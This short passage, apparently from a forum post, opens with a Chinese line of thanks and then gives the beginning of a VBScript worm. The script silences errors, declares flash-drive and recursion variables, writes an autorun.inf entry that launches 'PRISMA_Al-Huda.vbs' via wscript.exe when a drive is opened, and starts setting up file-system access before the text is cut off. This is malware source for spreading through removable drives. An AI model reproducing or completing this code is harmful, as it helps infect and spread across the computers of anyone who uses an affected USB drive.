小弟在此感谢 on error resume next dim rekursif,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd atr = "[autorun]" & vbcrlf & "shellexecute=wscript.exe PRISMA_Al-Huda.vbs" set fs = createobject("Scripting.FileSystemO